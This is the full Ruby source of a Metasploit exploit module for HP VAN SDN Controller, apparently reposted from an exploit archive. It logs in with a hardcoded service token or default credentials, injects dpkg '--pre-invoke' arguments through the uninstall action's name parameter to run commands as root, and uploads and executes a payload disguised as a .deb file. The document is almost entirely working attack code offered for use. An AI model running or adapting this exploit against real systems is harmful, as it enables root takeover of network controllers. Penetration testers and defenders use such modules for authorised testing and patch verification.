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HP VAN SDN Controller Root Command Injection Exploit
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking # server: grizzly/2.2.16 HttpFingerprint = {pattern: [/^grizzly/]} include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'HP VAN SDN Controller Root Command Injection', 'Description' => %q{ This module exploits a hardcoded service token or default credentials in HPE VAN SDN Controller <= 2.7.18.0503 to execute a payload as root. A root command injection was discovered in the uninstall action's name parameter, obviating the need to use sudo for privilege escalation. If the service token option TOKEN is blank, USERNAME and PASSWORD will be used for authentication. An additional login request will be sent. }, 'Author' => [ 'Matt Bergin', # Vulnerability discovery and Python exploit 'wvu' # Metasploit module and additional ~research~ ], 'References' => [ ['EDB', '44951'], ['URL', 'https://korelogic.com/Resources/Advisories/KL-001-2018-008.txt'] ], 'DisclosureDate' => 'Jun 25 2018', 'License' => MSF_LICENSE, 'Platform' => ['unix', 'linux'], 'Arch' => [ARCH_X86, ARCH_X64], 'Privileged' => true, 'Targets' => [ ['Unix In-Memory', 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Type' => :unix_memory, 'Payload' => {'BadChars' => ' '} ], ['Linux Dropper', 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :linux_dropper ] ], 'DefaultTarget' => 0, 'DefaultOptions' => {'RPORT' => 8081, 'SSL' => true} )) register_options([ OptString.new('TOKEN', [false, 'Service token', 'AuroraSdnToken37']), OptString.new('USERNAME', [false, 'Service username', 'sdn']), OptString.new('PASSWORD', [false, 'Service password', 'skyline']) ]) register_advanced_options([ OptString.new('PayloadName', [false, 'Payload name (random if unset)']), OptBool.new('ForceExploit', [false, 'Override check result', false]) ]) end def check checkcode = CheckCode::Safe res = send_request_cgi( 'method' => 'POST', 'uri' => '/', 'headers' => {'X-Auth-Token' => auth_token}, 'ctype' => 'application/json', 'data' => {'action' => 'uninstall'}.to_json ) if res.nil? checkcode = CheckCode::Unknown elsif res && res.code == 400 && res.body.include?('Missing field: name') checkcode = CheckCode::Appears elsif res && res.code == 401 && res.body =~ /Missing|Invalid token/ checkcode = CheckCode::Safe end checkcode end def exploit if [CheckCode::Safe, CheckCode::Unknown].include?(check) if datastore['ForceExploit'] print_warning('ForceExploit set! Exploiting anyway!') else fail_with(Failure::NotVulnerable, 'Set ForceExploit to override') end end if target['Type'] == :unix_memory print_status('Executing command payload') execute_command(payload.encoded) return end print_status('Uploading payload as fake .deb') payload_path = upload_payload renamed_path = payload_path.gsub(/\.deb$/, '') register_file_for_cleanup(renamed_path) print_status('Renaming payload and executing it') execute_command( "mv #{payload_path} #{renamed_path} && " \ "chmod +x #{renamed_path}" ) execute_command(renamed_path) end def upload_payload payload_name = datastore['PayloadName'] ? "#{datastore['PayloadName']}.deb" : "#{Rex::Text.rand_text_alphanumeric(8..42)}.deb" payload_path = "/var/lib/sdn/uploads/#{payload_name}" res = send_request_cgi( 'method' => 'POST', 'uri' => '/upload', 'headers' => {'Filename' => payload_name, 'X-Auth-Token' => auth_token}, 'ctype' => 'application/octet-stream', 'data' => generate_payload_exe ) unless res && res.code == 200 && res.body.include?('{ }') fail_with(Failure::UnexpectedReply, "Failed to upload #{payload_path}") end print_good("Uploaded #{payload_path}") payload_path end def execute_command(cmd) # Argument injection in /opt/sdn/admin/uninstall-dpkg injection = "--pre-invoke=#{cmd}" # Ensure we don't undergo word splitting injection = injection.gsub(/\s+/, '${IFS}') print_status("Injecting dpkg -r #{injection}") send_request_cgi({ 'method' => 'POST', 'uri' => '/', 'headers' => {'X-Auth-Token' => auth_token}, 'ctype' => 'application/json', 'data' => {'action' => 'uninstall', 'name' => injection}.to_json }, 1) end def auth_token return @auth_token if @auth_token token = datastore['TOKEN'] username = datastore['USERNAME'] password = datastore['PASSWORD'] if token && !token.empty? print_status("Authenticating with service token #{token}") @auth_token = token return @auth_token end print_status("Authenticating with creds #{username}:#{password}") res = send_request_cgi( 'method' => 'POST', 'uri' => '/sdn/ui/app/login', 'rport' => 8443, 'vars_post' => {'username' => username, 'password' => password} ) unless res && res.get_cookies.include?('X-Auth-Token') print_error('Invalid username and/or password specified') return end @auth_token = res.get_cookies_parsed['X-Auth-Token'].first print_good("Retrieved auth token #{@auth_token}") @auth_token end end # 0day.today [2024-09-28] #